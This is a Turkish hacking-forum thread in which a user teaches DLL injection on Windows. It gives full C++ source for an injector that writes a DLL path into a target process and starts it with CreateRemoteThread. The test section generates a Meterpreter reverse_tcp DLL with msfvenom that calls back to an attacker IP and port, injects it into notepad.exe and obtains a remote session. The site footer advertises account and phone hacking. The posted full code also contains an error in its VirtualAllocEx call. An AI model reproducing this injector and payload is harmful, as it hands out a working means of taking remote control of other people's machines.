Güvenli Ticaret

Hacktivizm içerisinde gerçekleştirmeyi düşündüğünüz tüm ticaretlerde, dikkat ve önlem sahibi olun.

Daha Fazlası

Sorunum Var

Forum içerisinde yaşadığınız tüm sorunlar için sohbet alanını ya da sayfanın altında belirtilen Telegram kanalımızı kullanın.

Daha Fazlası

Doğru Türkçe ve Kurallar

Türkçemizi her bakımdan doğru kullanın ve forum kurallarına uygun paylaşımlar yapmaya özen gösterin.

Daha Fazlası

DLL Injection Nedir | DLL Injector Kodlamak

baycpp

Kayıtlı Üye
Katılım
17 Haziran 2024
Mesajlar
20
Tepkime puanı
7
Konum
Manisa
İlgi Alanlarınız
Programlama, Gitar
Cinsiyet
  1. Erkek
Giriş

Herkese selamlar. Başlıkta'da gördüğünüz üzere bu yazımda sizlere "DLL Injection"ın ne olduğunu ve "DLL Injector"ın C++ kullanarak nasıl kodlanacağından bahsedeceğim.
Bodoslama giriş yapmak yerine öncelikle genel olarak bir road map'e bakacağız, sonrasında kullanacağımız veri türlerini göreceğiz, son olarak da kodlama kısmına geçiş yapacağız.

Fazla uzatmanın lüzümü yok diye düşünüyorum, dilerseniz başlayalım.
ayrac.png

DLL Injection Nedir

Dll injection, bir dll dosyasının çalışan bir programın adres alanına yüklenip, program içerisinde kod çalıştırmak için kullanılan bir yöntemdir.
Kısaca, bir işlemin içerisinde kod yürütmeye yarayan tekniktir.

Peki, DLL Enjeksiyonu hangi yollar izlenerek yapılıyor? Dilerseniz bi' göz atalım.
ayrac.png

DLL Injection Aşamalar

1_MJdWk7ZhpV68YbOn-g_GEQ.png

Buradaki işlemleri basitçe açıklayalım:

1: İşlem B'miz, işlem A'ya bağlanıyor.
2: İşlem B'miz, sonradan kullanılmak üzere işlem A'da bir bellek tahsis ediyor.
3: İşlem B'miz, işlem A'ya kendini kopyalıyor.
4: İşlem B'miz, işlem A'nın altında çalıştırılıyor ve bu hususla birlikte amacımıza ulaşmış oluyoruz.

Evet, dll injection'ın nasıl işlediği hakkında genel bir fikir sahibi olduk diye düşünüyorum.
Kodlamaya geçmeden önce dilerseniz kullanacağımız veri türlerine kısaca bi' göz atalım.
ayrac.png

Veri Türleri

1 -> HANDLE
2 -> LPVOID
3 -> HMODULE
4 -> FARPROC


Handle, Windows platforumunda kullanılan bir türdür ve bir nesneyi temsil eden belirteç gibi düşünülebilir. Bu belirteç, genel olarak dosya, bellek ve thread'ler için kullanılır.
Handle'ın en belirgin özelliği ise türünün belirsiz olmasıdır, yani 'void*' gibi türü belirsiz bir işaretçi olarak düşünülebilir.

Lpvoid, 'void*' türündeki bir işaretçiyi ifade eder. 'void*' türü, herhangi bir türe sahip verinin adresini tutabilen bir işaretçi türüdür.

Hmodule, yüklenmiş bir DLL veya başka bir modülün tanıtıcısını temsil eder. Modüller, uygulama tarafından dinamik olarak yüklenen veya kullanılan yazılım bileşenleridir.

Farproc, bir işlevin bellekteki adresini gösteren bir işaretçi türüdür. Windows işletim sistemi tarafından sağlanan DLL fonksiyonlarını yüklerken veya çağırırken kullanılır.

Eğer tanımları anlamadıysanız problem değil, başta bende anlamamıştım : D
Kodlama kısmında zaten ne amaçla kullanıldığını sizlere net bir şekilde açıklayacağım.
Dilerseniz kodlama kısmına geçiş yapalım. Gazamız mübarek olsun.

ayrac.png
KODLAMA

Öncelikle kullanacağımız modülleri include ediyoruz:
C:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>

Arka planda çalıştıracağımız DLL'i belirtiyoruz ve sonrasında boyutunu alıyoruz:
C:
char dllPath[] = "C:\\evil.dll"; // tam konum
unsigned int dllPathSize = sizeof(dllPath) + 1; // dll path'inin boyutu

Burada sizeof() fonksiyonundan sonra "+1" kullanmamızın sebebi, değerin sonunda bittiğini belirtmek için kullanılan "\n, \0" karakterleri için bir byte fazladan koymak.

Main'i oluşturuyoruz ve sonrasında dışarıdan bir argüman alacağımız için parametreleri giriyoruz:

C:
int main(int argc, char* argv[]) {
  return 0;
}

Eğer kullanıcı iki'den düşük bir değer girerse programımız ekrana yazı yazsın ve sonlansın:
C:
if (argc < 2) {
    printf("Lütfen PID giriniz!\n");
    return -1;
}

Sonradan kullanmak üzere değişkenlerimizi oluşturuyoruz:
C:
HANDLE processHandle;
HANDLE remoteThread;
LPVOID remoteBuffer;

Kernel32.dll modülünü ve LoadLibraryA işlevinin adresini alıyoruz:
C:
HMODULE hKernel32 = GetModuleHandle("Kernel32");
FARPROC lb = GetProcAddress(hKernel32, "LoadLibraryA");

hKernel32 handle'ı ile "Kernel32"de bulunan "LoadLibraryA" işlevini kullanarak hedeflediğimiz işlem üzerinde dll'i çalıştırmak için bu çağrıları yaptık.
Kısaca, hedef işlemde kod çalıştırmak için. Sonralarda bu lb'yi ve hKernel32'yi kullanacağız.

OpenProcess fonksiyonuyla hedef işlemi açıyoruz:
C:
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));

PROCESS_ALL_ACCESS ile hedef işlem üzerinde tüm haklara sahip oluyoruz.
FALSE ile işlemin oluşturulan başka işlemlere miras bırakmayacağını belirtiyoruz.
DWORD(atoi(argv[1])) ile kullanıcının girdiği PID'yi alıyoruz.

VirtualAllocEx fonksiyonuyla hedef işlemde sanal bellek tahsis ediyoruz:
C:
remoteBuffer = VirtualAllocEx(processHandle, NULL, dllPathSize, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

ph ile hedef işlemi belirtiyoruz.
NULL ile işlemin başlangıç adresinin seçimini işletim sisteminin yapmasını belirtiyoruz.
dllPathSize ile ayrılacak olan bellek boyutunu belirtiyoruz.
(MEM_RESERVE | MEM_COMMIT) ile bellek alanının tahsis türünü belirtiyoruz.
PAGE_EXECUTE_READWRITE ile işlemin okunabilir/yazılabilir olduğunu belirtiyoruz.

WriteProcessMemory fonksiyonuyla hedef işlemin bellek alanına veri yazıyoruz:
C:
WriteProcessMemory(processHandle, remoteBuffer, dllPath, dllPathSize, NULL);

ph ile hedef işlemi belirtiyoruz.
rb ile hedef bellek alanını belirtiyoruz.
dllPath ile yazmak istediğimiz veriyi belirtiyoruz.
dllPathSize ile verinin boyutunu belirtiyoruz.
NULL ile verinin geri dönüş istemediğimizi belirtiyoruz.

CreateRemoteThread fonksiyonuyla işlemi başlatıyoruz:

C:
  remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)lb, remoteBuffer, 0, NULL);

ph ile hedef işlemi belirtiyoruz.
NULL ile işlem üzerinde güvenlik istemediğimizi belirtiyoruz.
0 ile yığın boyutunun varsayılan olduğunu belirtiyoruz.
(LPTHREAD_START_ROUTINE)lb ile iş parçacığının başlayacağı fonksiyonun adresini belirtiyoruz.
rb ile işlem üzerindeki parametreleri belirtiyoruz.
0 ile yaratma bayrağı istemediğimizi belirtiyoruz.
NULL ile işlemin kimlik numarasını döndürmeyeceğimizi belirtiyoruz.

CloseHandle fonksiyonuyla işlemi sonlandırıyoruz:

C:
CloseHandle(processHandle); // Kapatacağımız işlem
ayrac.png
Kodların Tamamı

C:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>

char dllPath[] = "C:\\evil.dll";
unsigned int dllPathSize = sizeof(dllPath) + 1;

int main(int argc, char* argv[]) {
  if (argc < 2) {
    printf("Lütfen PID giriniz!\n");
    return -1;
  }

  printf("Hedef PID: %d\n", atoi(argv[1]));

  HANDLE processHandle;
  HANDLE remoteThread;
  LPVOID remoteBuffer;

  HMODULE hKernel32 = GetModuleHandle("Kernel32");
  FARPROC lb = GetProcAddress(hKernel32, "LoadLibraryA");

  processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
  remoteBuffer = VirtualAllocEx(remoteBuffer, NULL, dllPathSize, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

  WriteProcessMemory(processHandle, remoteBuffer, dllPath, dllPathSize, NULL);
  remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)lb, remoteBuffer, 0, NULL);

  CloseHandle(processHandle);

  return 0;
}
ayrac.png
Test Aşaması
Öncelikle kodu compile ediyorum:

Kod:
x86_64-w64-mingw32-gcc -O2 injector.cpp -o injector.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
msfvenom kullanarak windows üzerinde çalışacak zararlı bir dll oluşturuyorum:
Kod:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=7171 -ax64 -f dll > evil.dll
msfconsole ile bağlantıyı dinliyorum:

Screenshot from 2024-06-18 02-54-42.png

injector.exe dosyamı çalıştırıyorum ve hedef olarak notepad.exe'nin pid'sini veriyorum:

Screenshot from 2024-06-18 03-28-21.png

msfconsole üzerinde bir bağlantı gerçekleştiğini görüyorum:

Screenshot from 2024-06-18 03-28-39.pngayrac.png

Kapanış

Evet dostlar, konumuz buraya kadardı. Umarım sizler için yararlı bir konu olmuştur, bir hatam varsa mazur görün. Kafanıza takılan herhangi bir soru olursa sorabilirsiniz.
Herkese iyi çalışmalar diliyorum, kendinize iyi bakın, sağlıcakla kalın.
 

wil3st

Kahraman
Moderatör
Katılım
26 Aralık 2020
Mesajlar
115
Tepkime puanı
103
İlgi Alanlarınız
Siber güvenlik
Cinsiyet
  1. Erkek
Eline sağlık dostum 👏
 

KocaReis

Developer
Katılım
26 Ağustos 1971
Mesajlar
850
Tepkime puanı
2,751
Eline sağlık dostum
 

Konuyu görüntüleyen kullanıcılar:

Hukuksal Sorunlar İçin[email protected]
For Legal Problems[email protected]
Hacktivizm.Org
Hacktivizm.Org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Hacktivizm.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Hacktivizm saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Hacktivizm üyelerinin yaptığı bireysel hack faaliyetlerinden Hacktivizm sorumlu değildir. Sitelerinize Hacktivizm ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz. Sitemizde yer alan içerikler hakkındaki şikayetlerinizi Buradan iletişime geçerek bildirebilirsiniz. Please Report Abuse, DMCA, Scamming, Harassment, Crack or any Illegal Activities to [email protected]
Hack Forum
Hacktivizm, 2020 yılında kurulmuş bir siber güvenlik forum sitesidir aynı zamanda hack forumu,hack sitesi,hack forum ve Türk hack forumudur. Hack forum aramalarında ilk sayfada olan bu hack forum sitesi gün geçtikçe gelişmektedir. Hack Forum kelimesinin anlamı ise, hacker kültürü ve bilgisayar güvenliği ile ilgili tartışmalara adanmış bir İnternet forumudur. Web sitesi, analiz şirketi Alexa Internet tarafından web trafiği açısından "Hacking" kategorisinde bir numaralı web sitesi olarak yer almaktadır.

Telefon Takip - İphone Hackleme - PDF Şifre Kırma - Telefon Hackleme - İnstagram Hesap Çalma - Twitter Hesap Çalma - Facebook Hesap Çalma - Wifi Şifre Kırma - Telefon Şifresi Kırma

Hacktivizm Twitter Hacktivizm Youtube Hacktivizm İnstagram Hacktivizm Telegram

Üst